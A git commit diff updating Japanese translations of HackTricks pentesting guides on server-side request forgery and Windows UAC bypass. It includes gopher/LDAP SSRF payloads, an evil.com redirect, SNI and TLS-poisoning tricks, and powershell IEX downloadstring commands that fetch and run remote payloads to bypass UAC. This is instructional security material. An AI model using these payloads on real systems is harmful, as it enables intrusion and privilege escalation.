Translated ['pentesting-web/ssrf-server-side-request-forgery/README.md',

This commit is contained in:
Translator 2023-07-28 12:06:19 +00:00
parent 714f88e561
commit 0490cf23e6
3 changed files with 387 additions and 417 deletions

View file

@ -15,8 +15,8 @@
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか、またはHackTricksをPDFでダウンロードしたいですか[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
* [**公式のPEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
</details>
@ -35,7 +35,7 @@
## ホワイトリストされたドメインのバイパス
通常、SSRFは**特定のホワイトリストされたドメイン**またはURLでのみ機能することがわかります。次のページでは、そのホワイトリストをバイパスするための**さまざまなテクニックのまとめ**があります。
通常、SSRFは**特定のホワイトリストされたドメイン**またはURLでのみ機能することがわかります。次のページでは、そのホワイトリストをバイパスするための**テクニックのコンパイル**があります:
{% content-ref url="url-format-bypass.md" %}
[url-format-bypass.md](url-format-bypass.md)
@ -43,7 +43,7 @@
### オープンリダイレクトを介したバイパス
サーバーが正しく保護されている場合、ウェブページ内のオープンリダイレクトを悪用することで、**すべての制限をバイパス**することができます。ウェブページは**同じドメインへのSSRFを許可**し、おそらく**リダイレクトをたどる**ため、**オープンリダイレクトを悪用してサーバーが内部のリソースにアクセス**することができます。\
サーバーが正しく保護されている場合、ウェブページ内の**オープンリダイレクトを悪用**することで、すべての制限をバイパスすることができます。ウェブページは**同じドメインへのSSRFを許可**し、おそらく**リダイレクトをたどる**でしょうので、**オープンリダイレクトを悪用してサーバーが内部のリソースにアクセス**することができます。\
詳細はこちら:[https://portswigger.net/web-security/ssrf](https://portswigger.net/web-security/ssrf)
## プロトコル
@ -79,8 +79,8 @@ ssrf.php?url=ldap://localhost:11211/%0astats%0aquit
```
### Gopher://
このプロトコルを使用すると、サーバーに**送信**してほしい**IP、ポート、バイト**を指定できます。その後、基本的にはSSRFを利用して**任意のTCPサーバーと通信**することができます(ただし、まずサービスとの通信方法を知っている必要があります)。
幸いに、[Gopherus](https://github.com/tarunkant/Gopherus)を使用して、複数のサービスに対してペイロードを作成することができます。さらに、[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)を使用して、_Java RMI_ サービス向けの_gopher_ ペイロードを作成することもできます。
このプロトコルを使用すると、**IP、ポート、バイト**を指定してサーバーに**送信**することができます。その後、基本的にはSSRFを利用して**任意のTCPサーバーと通信**することができます(ただし、まずサービスとの通信方法を知る必要があります)。
幸いなことに、[Gopherus](https://github.com/tarunkant/Gopherus)を使用して、複数のサービスに対してペイロードを作成することができます。さらに、[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)を使用して、_Java RMI_ サービス向けの_gopher_ ペイロードを作成することもできます。
**Gopher smtp**
```
@ -99,13 +99,13 @@ QUIT
```
**Gopher HTTP**
Gopher HTTP is a technique used in Server-Side Request Forgery (SSRF) attacks. SSRF is a vulnerability that allows an attacker to make requests from the server to other internal or external resources. Gopher HTTP takes advantage of the Gopher protocol, which is a simple protocol used for retrieving documents over the Internet.
Gopher HTTP is a technique used in server-side request forgery (SSRF) attacks. SSRF is a vulnerability that allows an attacker to make requests from the targeted server to other internal or external resources. Gopher HTTP takes advantage of the Gopher protocol, which is a simple protocol used for retrieving documents over the Internet.
In a Gopher HTTP attack, the attacker crafts a URL that includes the Gopher protocol and specifies the desired resource. This URL is then sent to the vulnerable server, which processes the request and retrieves the specified resource using the Gopher protocol. The server's response is then returned to the attacker.
In a Gopher HTTP attack, the attacker crafts a malicious request that tricks the server into making a request to a specified URL using the Gopher protocol. This can be used to bypass security measures that may be in place to prevent direct access to certain resources.
The Gopher protocol allows the attacker to bypass certain security measures that may be in place, such as firewalls or access controls. By using Gopher HTTP, the attacker can make requests to internal resources that are not intended to be accessible from the outside.
To perform a Gopher HTTP attack, the attacker typically needs to find a vulnerable parameter that accepts URLs and is susceptible to SSRF. The attacker then crafts a URL using the Gopher protocol and includes the desired target URL as a parameter. When the server processes the request, it will make a request to the specified URL using the Gopher protocol, potentially leaking sensitive information or performing unauthorized actions.
To protect against Gopher HTTP attacks, it is important to properly validate and sanitize user input. Additionally, network-level protections such as firewalls and access controls can help mitigate the risk of SSRF vulnerabilities. Regular security assessments and penetration testing can also help identify and address any potential vulnerabilities.
It is important for developers to be aware of the risks associated with SSRF vulnerabilities and implement proper input validation and sanitization to prevent these types of attacks. Additionally, server administrators should consider blocking or restricting access to the Gopher protocol if it is not necessary for their applications.
```bash
#For new lines you can use %0A, %0D%0A
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
@ -125,14 +125,14 @@ https://example.com/?q=http://evil.com/redirect.php.
### SMTP
[https://twitter.com/har1sec/status/1182255952055164929](https://twitter.com/har1sec/status/1182255952055164929)から:\
1\. SSRFでsmtpのlocalhost:25に接続する\
1\. SSRFでlocalhostのSMTPポート25番に接続する\
2\. 最初の行から内部ドメイン名を取得する 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail\
3\. [http://internaldomain.com](https://t.co/K0mHR0SPVH)をGitHubで検索し、サブドメインを見つける\
4\. 接続する
### Curl URL globbing - WAF bypass
もしSSRFが**curl**によって実行される場合、curlには[WAFをバイパスするのに役立つ](https://everything.curl.dev/cmdline/globbing)という機能があります。例えば、この[**writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi)では、**`file`プロトコルを介したパストラバーサル**の例があります。
もしSSRFが**curl**によって実行される場合、curlには[**URL globbing**](https://everything.curl.dev/cmdline/globbing)という機能があり、WAFをバイパスするのに役立つかもしれません。例えば、この[**writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi)では、**`file`プロトコルを介したパストラバーサル**の例があります。
```
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
```
@ -141,15 +141,16 @@ file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
* Burp Collaborator
* [http://requestrepo.com/](http://requestrepo.com/)
* [https://app.interactsh.com/](https://app.interactsh.com/)
* [https://github.com/stolenusername/cowitness](https://github.com/stolenusername/cowitness)
## リファラーヘッダーを使用したSSRF
一部のアプリケーションでは、訪問者を追跡するためのサーバーサイドの分析ソフトウェアが使用されています。このソフトウェアは、リファラーヘッダーをリクエストに記録することがあります。これは、受信リンクの追跡に特に興味があるためです。通常、分析ソフトウェアは、リファラーヘッダーに表示されるサードパーティのURLを実際に訪問します。これは、受信リンクで使用されるアンカーテキストを含む参照サイトの内容を分析するために行われます。その結果、リファラーヘッダーは、SSRFの脆弱性に対する有望な攻撃対象となります。\
一部のアプリケーションでは、訪問者を追跡するためのサーバーサイドの分析ソフトウェアが使用されています。このソフトウェアは、リファラーヘッダーをリクエストに記録することがあります。これは、受信リンクの分析に特に興味があるためです。通常、分析ソフトウェアは、リファラーヘッダーに表示されるサードパーティのURLを実際に訪問します。これは、受信リンクで使用されるアンカーテキストを含む参照サイトの内容を分析するために行われます。その結果、リファラーヘッダーはしばしばSSRFの脆弱性の攻撃対象となります。\
このような「隠れた」脆弱性を発見するために、Burpのプラグイン「**Collaborator Everywhere**」を使用することができます。
## 証明書からのSNIデータを使用したSSRF
任意のバックエンドに接続するための最も単純な設定ミスは、次のようなものです:
任意のバックエンドに接続するための最も単純な設定ミスは、次のようになります:
```nginx
stream {
server {
@ -162,7 +163,7 @@ ssl_preread on;
```
ここでは、SNIフィールドの値がバックエンドのアドレスとして直接使用されています。
この安全でない設定では、**SNIフィールドに望むIPアドレスやドメイン名を指定することでSSRF脆弱性を悪用することができます**。例えば、以下のコマンドはNginxを_internal.host.com_に接続するように強制します。
この安全でない設定では、**SSRF脆弱性を簡単に悪用することができます。SNIフィールドに希望するIPアドレスまたはドメイン名を指定するだけで**、Nginxを_internal.host.com_に接続させることができます。例えば、以下のコマンドを使用します。
```bash
openssl s_client -connecttarget.com:443 -servername "internal.host.com" -crlf
```
@ -174,7 +175,7 @@ openssl s_client -connecttarget.com:443 -servername "internal.host.com" -crlf
## PDFのレンダリング
ウェブページが提供した情報で自動的にPDFを作成している場合、PDF作成中にPDF作成者サーバー自体で実行されるJSを挿入することができ、SSRFを悪用することができます。[**ここで詳細情報を見つける**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)**.**
ウェブページが提供した情報で自動的にPDFを作成している場合、PDF作成時にサーバー自体で実行されるJSを挿入することができます。これにより、SSRFを悪用することができます。[**ここで詳細情報を見つけることができます**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)**.**
## SSRFからDoSへ
@ -230,20 +231,20 @@ app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
![](<../../.gitbook/assets/image (9) (1) (2).png>)
\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**し、自動化します。\
今すぐアクセスを取得:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## DNS Rebidding CORS/SOPバイパス
**CORS/SOP**の制限をバイパスするために、**ローカルIPからのコンテンツのエクスフィルト**に**問題がある場合**、**DNS Rebidding**を使用できます:
**CORS/SOP**の制限をバイパスするために、**ローカルIPからコンテンツを外部に流出**させることに問題がある場合、**DNS Rebidding**を使用できます。
{% content-ref url="../cors-bypass.md" %}
[cors-bypass.md](../cors-bypass.md)
{% endcontent-ref %}
### 自動DNS Rebidding
### 自動化されたDNS Rebidding
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity)は、[DNS rebinding](https://en.wikipedia.org/wiki/DNS\_rebinding)攻撃を実行するためのツールです。このツールには、攻撃サーバーのDNS名のIPアドレスをターゲットマシンのIPアドレスに再バインドし、ターゲットマシン上の脆弱なソフトウェアを悪用するための攻撃ペイロードを提供するために必要なコンポーネントが含まれています。
@ -261,10 +262,10 @@ app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
1. ユーザー/ボットに**攻撃者が制御するドメイン**にアクセスさせます。
2. **DNS**の**TTL**は**0**秒ですしたがって、被害者はドメインのIPをすぐに再度チェックします
3. 被害者と攻撃者のドメイン間**TLS接続**が作成されます。攻撃者は**セッションIDまたはセッションチケット**内に**ペイロード**を挿入します。
4. **ドメイン**は**自身に対して無限ループのリダイレクト**を開始します。これの目的は、ユーザー/ボットがドメインにアクセスし続け、ドメインの**DNSリクエスト**を**再度**実行することです。
5. DNSリクエストで**プライベートIPアドレス**が**与えられます**127.0.0.1)。
6. ユーザー/ボットは**TLS接続を再確立**しようとし、そのために**セッションID/チケットID**を**送信**します(攻撃者のペイロードが含まれていた場所)。おめでとうございます、**ユーザー/ボットが自身を攻撃する**ことに成功しました。
3. 被害者と攻撃者のドメイン間**TLS接続**が作成されます。攻撃者は**セッションIDまたはセッションチケット**内に**ペイロード**を挿入します。
4. **ドメイン**は**自身に対して無限ループのリダイレクト**を開始します。これの目的は、ユーザー/ボットがドメインにアクセスし続け、ドメインの**DNSリクエスト**を再度実行することです。
5. DNSリクエストで**プライベートIPアドレス**が**現在**指定されます127.0.0.1)。
6. ユーザー/ボットは**TLS接続を再確立**しようとし、そのために**セッションID/チケットID**を**送信**します(攻撃者のペイロードが含まれていた場所)。おめでとうございます、ユーザー/ボットが**自身を攻撃する**ように要求することに成功しました。
この攻撃中、localhost:11211_memcache_を攻撃する場合、被害者に最初の接続をwww.attacker.com:11211**ポートは常に同じである必要があります**)で確立させる必要があります。\
この攻撃を実行するためには、次のツールを使用できます:[https://github.com/jmdx/TLS-poison/](https://github.com/jmdx/TLS-poison/)\
@ -272,21 +273,21 @@ app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
## Blind SSRF
盲目的なSSRFと非盲目的なSSRFの違いは、盲目的な場合にSSRFリクエストの応答を見ることができないことです。そのため、既知の脆弱性のみを悪用することができるため、悪用がより困難になります。
盲目のSSRFと非盲目のSSRFの違いは、盲目の場合にSSRFリクエストの応答を見ることができないことです。そのため、既知の脆弱性のみを悪用することができるため、悪用はより困難です。
### 時間ベースのSSRF
サーバーからの応答の時間をチェックすることで、リソースが存在するかどうかを判断することができるかもしれません(存在するリソースにアクセスする方が存在しないリソースにアクセスするよりも時間がかかる場合があるため)。
サーバーからの応答の時間をチェックすることで、リソースが存在するかどうかを判断することができるかもしれません(存在するリソースにアクセスするのに時間がかかる場合、存在しないリソースにアクセスするよりも時間がかかるかもしれません)。
## Cloud SSRF Exploitation
クラウド環境内でSSRFの脆弱性を見つけた場合、クラウド環境に関する興味深い情報や資格情報を入手することができるかもしれません
クラウド環境内で実行されているマシンでSSRFの脆弱性を見つけた場合、クラウド環境に関する興味深い情報や資格情報を入手することができるかもしれません
{% content-ref url="cloud-ssrf.md" %}
[cloud-ssrf.md](cloud-ssrf.md)
{% endcontent-ref %}
## SSRF Vulnerable Platforms
## SSRFの脆弱なプラットフォーム
いくつかの既知のプラットフォームには、SSRFの脆弱性が含まれているか、含まれていたことがあります。詳細は次を参照してください
@ -294,7 +295,7 @@ app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
[ssrf-vulnerable-platforms.md](ssrf-vulnerable-platforms.md)
{% endcontent-ref %}
## Tools
## ツール
### [**SSRFMap**](https://github.com/swisskyrepo/SSRFmap)
@ -317,11 +318,11 @@ SSRFの脆弱性を検出および悪用するためのツール
* [SSRFの使用に関するブログ記事](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/)
_remote-method-guesser_は、一般的な_Java RMI_の脆弱性に対して攻撃操作をサポートする_Java RMI_の脆弱性スキャナです。ほとんどの操作は、要求された操作に対して_SSRF_ペイロードを生成するための`--ssrf`オプションをサポートしています。`--gopher`オプションと一緒に使用すると、直接使用できる_gopher_ペイロードが生成されます。
_remote-method-guesser_は、一般的なJava RMIの脆弱性に対して攻撃操作をサポートするJava RMIの脆弱性スキャナです。ほとんどの操作は、要求された操作に対してSSRFペイロードを生成するための`--ssrf`オプションをサポートしています。`--gopher`オプションと一緒に使用すると、直接使用できるgopherペイロードが生成されます。
### [SSRF Proxy](https://github.com/bcoles/ssrf\_proxy)
SSRFに対して脆弱なサーバーを介してクライアントのHTTPトラフィックをトンネリングするためのマルチスレッドのHTTPプロキシサーバーです
SSRFに対して脆弱なサーバーを介してクライアントのHTTPトラフィックをトンネルするために設計されたマルチスレッドのHTTPプロキシサーバー。
### 練習するために
@ -331,9 +332,9 @@ SSRFに対して脆弱なサーバーを介してクライアントのHTTPトラ
* [https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4](https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery)
* [https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/](https://www.invicti.com
* [https://www.invicti.com/blog/web-security/ssrf-vulner
* [**公式のPEASSHackTricksグッズ**](https://peass.creator-spring.com)を手に入れる
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォローする**。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* 自分のハッキングテクニックを共有するために、[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks)と[**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出する。
</details>
@ -341,7 +342,7 @@ SSRFに対して脆弱なサーバーを介してクライアントのHTTPトラ
![](<../../.gitbook/assets/image (9) (1) (2).png>)
\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築し、自動化することができます。
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築して自動化します。\
今すぐアクセスを取得:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

File diff suppressed because it is too large Load diff

View file

@ -4,11 +4,11 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **ハッキングのトリックを共有する**には、[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks)と[**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
* **ハッキングのトリックを共有する**には、[**hacktricks repo**](https://github.com/carlospolop/hacktricks)と[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。
</details>
@ -40,27 +40,27 @@ UACが設定されている場合、管理者ユーザーには2つのトーク
| [ユーザーアカウント制御: 管理者承認モードの昇格プロンプトの動作](https://docs.microsoft.com/ja-jp/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-administrators-in-admin-approval-mode) | ConsentPromptBehaviorAdmin | 非Windowsバイナリに対して同意を求める |
| [ユーザーアカウント制御: 標準ユーザーの昇格プロンプトの動作](https://docs.microsoft.com/ja-jp/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-standard-users) | ConsentPromptBehaviorUser | セキュアデスクトップで資格情報を求める |
| [ユーザーアカウント制御: アプリケーションのインストールの検出と昇格のプロンプト](https://docs.microsoft.com/ja-jp/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-detect-application-installations-and-prompt-for-elevation) | EnableInstallerDetection | 有効(ホームのデフォルト) 無効(エンタープライズのデフォルト) |
| [ユーザーアカウント制御: 署名され、検証された実行可能ファイルのみを昇
| [ユーザーアカウント制御:ユーザーごとの場所にファイルとレジストリの書き込みエラーを仮想化する](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-virtualize-file-and-registry-write-failures-to-per-user-locations) | EnableVirtualization | 有効 |
| [ユーザーアカウント制御: 署名され、検証された実行可能ファイルのみを昇格する](https://docs.microsoft.com/ja-jp/windows/security/identity-protection/user-account-control/user-account-control-group-policy
| [ユーザーアカウント制御:ユーザーごとの場所にファイルとレジストリの書き込みエラーを仮想化する](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-virtualize-file-and-registry-write-failures-to-per-user-locations) | EnableVirtualization | 有効 |
### UACバイパスの理論
一部のプログラムは、ユーザーが管理者グループに所属している場合、**自動的に自動昇格**します。これらのバイナリには、_**マニフェスト**_内に_value_ _**True**_の_autoElevate_オプションがあります。また、バイナリは**Microsoftによって署名**されている必要あります。
一部のプログラムは、**ユーザーが** **管理者グループ**に所属している場合、**自動的に自動昇格**します。これらのバイナリには、_**マニフェスト**_内に_value_ _**True**_の_autoElevate_オプションがあります。バイナリはまた、**Microsoftによって署名**されている必要あります。
そのため、**UAC****中**の完全性レベルから**高**に昇格)を**バイパス**するため、一部の攻撃者はこの種のバイナリを使用して**任意のコードを実行**します。なぜなら、それは**高い完全性レベルのプロセス**から実行されるからです。
ツール_Sysinternals_の_sigcheck.exe_を使用してバイナリの_**マニフェスト**_を**確認**できます。また、_Process Explorer_または_Process Monitor_Sysinternalsのを使用してプロセスの**完全性レベル**を**確認**できます。
ツール_Sysinternals_の_sigcheck.exe_を使用してバイナリの_**マニフェスト**_を**確認**できます。また、_Process Explorer_または_Sysinternals_の_Process Monitor_を使用してプロセスの**完全性レベル**を**確認**できます。
### UACの確認
UACが有効かどうかを確認するには、以下を実行してください
UACが有効かどうかを確認するには、以下を実行します
```
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
EnableLUA REG_DWORD 0x1
```
もし値が**`1`**であれば、UACは**有効**です。もし値が**`0`**であるか、存在しない場合は、UACは**無効**です。
もし**`1`**であれば、UACは**有効**です。もし**`0`**であるか、存在しない場合は、UACは**無効**です。
次に、**どのレベル**が設定されているかを確認します。
```
@ -71,16 +71,16 @@ ConsentPromptBehaviorAdmin REG_DWORD 0x5
```
* もし **`0`** なら、UACはプロンプトを表示しません**無効**のようなものです)
* もし **`1`** なら、管理者はバイナリを高い権限で実行するためにユーザ名とパスワードを要求されます(セキュアデスクトップ上で)
* もし **`2`** なら(**常に通知**)、管理者が高い権で何かを実行しようとすると、UACは常に確認を求めますセキュアデスクトップ上で
* もし **`2`** なら(**常に通知**)、管理者が高い権で何かを実行しようとすると、UACは常に確認を求めますセキュアデスクトップ上で
* もし **`3`** なら、`1` と同じですが、セキュアデスクトップ上では必要ありません
* もし **`4`** なら、`2` と同じですが、セキュアデスクトップ上では必要ありません
* もし **`5`****デフォルト**)なら、管理者に対して非Windowsバイナリを高い権限で実行するかどうか確認を求めます
* もし **`5`****デフォルト**)なら、管理者に非Windowsバイナリを高い特権で実行するかどうか確認します
次に、**`LocalAccountTokenFilterPolicy`** の値を確認する必要があります。\
もし値が **`0`** なら、**RID 500** ユーザ(**ビルトインの管理者**のみがUACなしで**管理者タスクを実行**できます。もし値が `1` なら、**"Administrators"** グループ内のすべてのアカウントが実行できます。
もし値が **`0`** なら、**RID 500** ユーザ**ビルトインの管理者**のみがUACなしで**管理者タスクを実行**できます。もし値が `1` なら、**"Administrators"** グループ内のすべてのアカウントが実行できます。
最後に、キー **`FilterAdministratorToken`** の値を確認します。\
もし **`0`**(デフォルト)なら、**ビルトインの管理者アカウント**リモート管理タスクを実行できます。もし **`1`** なら、ビルトインの管理者アカウントはリモート管理タスクを実行できません(ただし、`LocalAccountTokenFilterPolicy` が `1` に設定されている場合は除く)。
もし **`0`**(デフォルト)なら、**ビルトインの管理者アカウント**リモート管理タスクを実行**できます。もし **`1`** なら、ビルトインの管理者アカウントは**リモート管理タスクを実行**できません(ただし、`LocalAccountTokenFilterPolicy` が `1` に設定されている場合は除く)。
#### 要約
@ -91,7 +91,7 @@ ConsentPromptBehaviorAdmin REG_DWORD 0x5
これらの情報は、**metasploit** モジュール `post/windows/gather/win_privs` を使用して収集できます。
また、ユーザのグループと整合性レベルを確認することもできます。
また、ユーザのグループと整合性レベルを確認することもできます。
```
net user %username%
whoami /groups | findstr Level
@ -99,16 +99,16 @@ whoami /groups | findstr Level
## UACバイパス
{% hint style="info" %}
被害者に対してグラフィカルなアクセス権がある場合、UACバイパスは簡単です。UACのプロンプトが表示されたときに単純に「はい」をクリックするだけです。
被害者に対してグラフィカルなアクセス権がある場合、UACバイパスは簡単です。UACのプロンプトが表示されたら、「はい」をクリックするだけです。
{% endhint %}
UACバイパスは、次の状況で必要です**UACが有効になっており、プロセスが中間完全性コンテキストで実行され、ユーザーが管理者グループに所属している場合**。
UACバイパスは、次の状況で必要です**UACが有効になっており、プロセスが中間完全性コンテキストで実行され、ユーザーが管理者グループに所属している**ことです
重要なことは、**UACが最高セキュリティレベル(常に)に設定されている場合、他のレベルデフォルトに設定されている場合よりもUACバイパスがはるかに困難である**ということです。
重要なことは、**UACが最高セキュリティレベル常にに設定されている場合、他のレベルデフォルトに設定されている場合よりもUACバイパスがはるかに困難である**ということです。
### UACが無効化されている場合
UACが既に無効化されている場合`ConsentPromptBehaviorAdmin`が**`0`**である場合)、次のような方法で**管理者特権(高い完全性レベル)で逆シェルを実行**できます:
UACが既に無効化されている場合`ConsentPromptBehaviorAdmin`が**`0`**である場合)、次のような方法で**管理者特権(高い完全性レベル)で逆シェルを実行**することができます:
```bash
#Put your reverse shell instead of "calc.exe"
Start-Process powershell -Verb runAs "calc.exe"
@ -147,10 +147,16 @@ runasadmin uac-token-duplication powershell.exe -nop -w hidden -c "IEX ((new-obj
# Bypass UAC with CMSTPLUA COM interface
runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
```
### UACバイパスのエクスプロイト
**Empire**と**Metasploit**には、**UAC**を**バイパス**するためのいくつかのモジュールもあります。
[**UACME**](https://github.com/hfiref0x/UACME)は、複数のUACバイパスエクスプロイトのコンパイルです。UACMEをビジュアルスタジオまたはmsbuildを使用してコンパイルする必要があります。コンパイルにより、いくつかの実行可能ファイル`Source\Akagi\outout\x64\Debug\Akagi.exe`など)が作成されますが、**必要なものを知る必要があります**。\
いくつかのバイパスは、**ユーザーに何かが起こっていることを警告する他のプログラムを表示する**ことがありますので、**注意が必要です**。
### KRBUACBypass
ドキュメントとツールは[https://github.com/wh0amitz/KRBUACBypass](https://github.com/wh0amitz/KRBUACBypass)にあります。
### UACバイパスの脆弱性
[**UACME**](https://github.com/hfiref0x/UACME)は、いくつかのUACバイパスの脆弱性のコンパイルです。UACMEをビジュアルスタジオまたはmsbuildを使用してコンパイルする必要があります。コンパイルにより、いくつかの実行可能ファイル`Source\Akagi\outout\x64\Debug\Akagi.exe`)が作成されますが、**どれが必要かを知る必要があります。**\
何らかのプログラムがユーザーに何かが起こっていることを警告することがあるため、**注意が必要**です。
UACMEには、各テクニックが動作を開始したビルドバージョンがあります。自分のバージョンに影響を与えるテクニックを検索できます。
```
@ -164,9 +170,9 @@ Major Minor Build Revision
#### さらなるUACバイパス
ここで使用されるUACバイパスのすべてのテクニックは、被害者との完全な対話シェルを必要とします一般的なnc.exeシェルでは十分ではありません
